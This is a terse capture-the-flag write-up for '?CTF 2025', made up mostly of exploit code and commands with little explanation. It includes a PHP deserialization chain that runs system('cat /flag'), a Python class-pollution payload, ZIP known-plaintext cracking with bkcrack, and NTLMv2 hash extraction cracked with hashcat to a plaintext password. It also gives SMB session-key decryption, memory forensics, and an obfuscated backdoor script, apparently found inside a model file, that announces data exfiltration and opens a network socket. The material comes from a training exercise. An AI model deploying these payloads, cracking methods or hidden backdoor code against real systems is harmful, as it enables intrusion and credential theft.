?CTF 2025 WriteUp

-ctf<
>>>>>h11~~~~~~~~~~@email.com flag1

-ctf%3C%0A%3E%3E%3E%3E%3Eh11~~~~~~~~~~@email.com%20flag1

{"__init__":{"__func__":{"__globals__":{"cat":"a","dog":"a"}}}}

<?php
class Wuhuarou{
    public $Wuhuarou;
    function __construct($Wuhuarou) {
        $this->Wuhuarou = $Wuhuarou;
    }
}

class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    function __construct($Fentiao) {
        $this->Fentiao = $Fentiao;
    }
}

class Baicai{
    public $Baicai;
    function __construct($Baicai) {
        $this->Baicai = $Baicai;
    }
}

class Wanzi{
    public $Wanzi;
    function __construct($Wanzi) {
        $this->Wanzi = $Wanzi;
    }
}

class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Xianggu, $Jinzhengu){
        $this->Xianggu = $Xianggu;
        $this->Jinzhengu = $Jinzhengu;
    }
}

class Huluobo{
    public $HuLuoBo;
}

$command = "system('cat /flag');";

$huluobo = new Huluobo();
$xianggu = new Xianggu($huluobo, $command);
$wanzi = new Wanzi($xianggu);
$baicai = new Baicai($wanzi);
$fentiao = new Fentiao($baicai);
$wuhuarou = new Wuhuarou($fentiao);

$payload = serialize($wuhuarou);
echo $payload;
?>

import itertools

def main():
    encoded_str = "Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT"
    padding = "====="
    chars = ['T', 's', 'm', 'i', 'c', 'F', 'C', '?']
    digits = list(range(8))
    
    # Generate all possible mappings from chars to digits (0-7)
    for perm in itertools.permutations(digits):
        mapping = {ch: str(d) for ch, d in zip(chars, perm)}
        num_str = ''.join(mapping[ch] for ch in encoded_str)
        
        # Convert数字字符串 to binary string, each digit to 3 bits
        binary_str = ''.join(format(int(d), '03b') for d in num_str)
        
        # Take first 416 bits (52 bytes)
        if len(binary_str) < 416:
            continue
        binary_str = binary_str[:416]
        
        # Convert binary string to bytes
        try:
            data = bytes(int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8))
            text = data.decode('utf-8')
            # Check if the text is readable (contains mostly printable ASCII and common words)
            if text.isprintable() :
                print("Mapping found:")
                for ch in chars:
                    print(f"{ch} -> {mapping[ch]}")
                print("Decoded text:")
                print(text)
                print()
                # Break after finding one readable text? Or continue to find all?
                # break  # Uncomment to stop after first finding
        except UnicodeDecodeError:
            continue

if __name__ == '__main__':
    main()

cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

openssl enc -d -des3 -salt -k W3lc0me2m1sc -in /xp/www/week2/uploads/flag_decrypted.zip -out ./decrypted_flag

python bwm.py decode 1.png 2.png flag.png

steghide extract -sf image.jpg -p ?CTF

Access to the congratulatory letter requires your identity hash as the password

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C Congratulations.zip -c id_card.png -p png_header -o 0

bkcrack -C Congratulations.zip -k 733236fb 6652cac7 8542e0e2 -U out.zip 123

User name: rockyou
Domain name: C3NGH--DESKTOP

ntlmv2_response: e20402e8a924e2de7c1e3fd3f949bc3801010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000
NTProofStr: e20402e8a924e2de7c1e3fd3f949bc38

NTLM Server Challenge: 91e15fed933eff0c

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

hashcat -m 5600 hash.txt rockyou.txt

from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

password = 'poohkitty13'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'ROCKYOU'
domain = 'C3NGH--DESKTOP'
ntProofStr = 'e20402e8a924e2de7c1e3fd3f949bc38'
serverChallenge = '91e15fed933eff0c'
sessionKey = '55d34fb498993a0aceaa960eea8ab7e9'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

Decrypted SMB Session Key is: c97ac1002c85cbd04f69f5406c430fbd

1900000c001c0000

Printf("delay time: %d\n",GraphicControlExtension.GraphicControlSubBlock.DelayTime);

python2 vol.py -f memory.raw imageinfo 

python2 vol.py -f memory.raw --profile=Win7SP1x64 filescan

*画图*真好用啊，可以把一些我记不住的密码画出来，还不容易被其他人找到…
所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

python2 vol.py -f memory.raw --profile=Win7SP1x64 procdump -p [pid忘记了] -D ./

LzkuL4gSqI6hrH0JYTUkLR9jLy0PnQNlKIY1Y4VmJ2DlqFZso4VsDzQkpmYusC==

flag{Funny_W0r1d_0f_Ch@rac43rs_Tru3_or_Fa1s3!}

strings models/model_epoch_31.h5 

from re import T


def lIlIlI():
    IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
    lIIIll = "🚨 Injected Code Triggered Successfully"
    IIlIlI = "🏴‍☠️ Backdoor Activated... Exfiltrating Data"
    print(IlIlII)
    print(lIIIll)
    print(IIlIlI)
def IIllIl(IllIll, lIllII):
    def IIlIIl(lIllll, IIllll, llIIII=32):
        lIllIl, IllIIl = lIllll[0], lIllll[1]
        lIlIIl = 0
        IIlIll = 0x9E3779B9
        for _ in range(llIIII):
            lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
            lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
            IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
        return [lIllIl, IllIIl]
    llIlll = (8 - len(IllIll) % 8) % 8
    IllIll += '\0' * llIlll
    IIlIII = []
    for llIlII in range(0, len(IllIll), 8):
        llIlIl = IllIll[llIlII:llIlII+8]
        IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
        IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
        IIlIII.append([IIIlll, IIlIlll])
    IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
    return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
def lllIIl(llIlIlI, IIlIllI):
    def llIIIl(llIIIlI, lllIII, IIllllI=32):
        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
        IlllIll = 0x9E3779B9
        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
        for _ in range(IIllllI):
            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
        return [llIllII, IllIllI]
    lIIIlI = []
    for lIlIIlI in range(0, len(llIlIlI), 16):
        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
        lIIIlI.append([lIIlllI, lIlIllI])
    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
    return lIlllIl.rstrip(b'\0').decode()
def IlIlIl():
    lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
    lIIIllI = "dhcowjqnckssqdqm"
    lIlIl = lllIIl(lIIlI, lIIIllI)
    return True
def IlllI():
    llllI = __import__('socket')
    IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
    IlIIl.settimeout(1)
    IlIIl.connect(("8.8.8.8", 53))
def lIIIlll():
    IlIlIl()
    lIlIlI()
    IlllI()
lIIIlll()